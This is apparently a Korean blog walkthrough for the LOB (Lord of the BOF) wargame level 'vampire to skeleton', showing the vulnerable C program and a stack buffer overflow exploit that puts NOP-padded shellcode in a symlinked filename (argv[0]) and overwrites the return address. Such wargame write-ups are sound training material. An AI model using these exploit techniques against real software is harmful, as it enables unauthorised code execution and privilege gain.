-->

[LOB] level10, vampire -> skleton 풀이

반응형

LOB, vampire -> skleton 문제 확인

argv 전부를 초기화하는 argv hunter 조건문이 추가되었다. 

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i, saved_argc;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	// argc saver
	saved_argc = argc;

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// ultra argv hunter!
	for(i=0; i<saved_argc; i++)
		memset(argv[i], 0, strlen(argv[i]));
}

 

 

제약조건을 정리해보면 아래와 같다.

 

  • 환경변수 초기화

  • 버퍼 초기화

  • argv[1] 길이체크

  • 48번째 바이트 \xbf

  • 인자수 제한 (1개)

  • argv 전부 초기화 (argv hunter)

 

 

LOB, vampire -> skleton 풀이

환경변수, 버퍼, argv가 전부 초기화되기 때문에 어떻게 해야할지 모르겠어서 다른 분의 풀이에서 일부 힌트를 얻었다. gdb로 초기화되지 않은 부분이 있는지 살펴보자.

 


(gdb)  r `python -c 'print "\xbf"*48'` `python -c 'print "A"*500'`

 

 

 

이유는 모르겠지만, 스택 끝쪽에 argv[0]이 남아있는 것을 확인할 수 있다.

 

 

 

여기서부터는 orge -> troll 풀이와 거의 비슷하게 argv[0]을 사용해야하기 때문에 심볼릭 링크를 활용할 것이다. (아래는 A를 사용했지만) nop+shellcode의 코드를 파일명으로 갖는 파일을 실행 시 skeleton이 실행되도록 심볼릭 링크를 걸어준 후 gdb로 실행시킨다. 참고로 쉘코드가 스택끝에 너무 가까우면 실행되지 않을수도 있다고 해서 쉘코드 뒤에도 nop을 조금 추가하였다.

 


[vampire@localhost vampire]$ ln -s /tmp/skeleton

/tmp/`python -c 'print "A"*100+"[shellcode]"+"\x90"*100'` 

[vampire@localhost vampire]$ gdb /tmp/`python -c 'print "A"*100+"[shellcode]"+"\x90"*100'` 

 

 

프로그램 종료 전에 bp를 건 후 x/2000로 스택 끝까지 초기화되지 않고 남아있는 argv[0] 값을 확인한다.

 

 

 

"A"는 실제 익스플로잇 시도 시 nop으로 채울것이기 때문에 너무 시작부분 말고 적당한 지점인 \xbfffff1e를 리턴주소에 덮는 주소로 사용하도록 하겠다.

 

 

 

LOB, vampire -> skleton 익스플로잇

RET에 덮을 주소값도 알아냈으니 /tmp 에서 했던 것처럼 skeleton 파일에 심볼릭 링크를 똑같이 걸어준다. 그리고 링크를 걸어준 파일을 실행시키고 argv[1]에 더미값 44개와 \xbfffff1e로 RET 부분을 덮어주면 아래와 같이 쉘을 획득할 수 있다. 

 


[vampire@localhost vampire]$ ./`python -c 'print "\x90"*100+"[shellcode]+"\x90"*100'`

`python -c 'print "\x90"*44+"\x1e\xff\xff\xbf"'`

 

 

 

댓글

Designed by JB FACTORY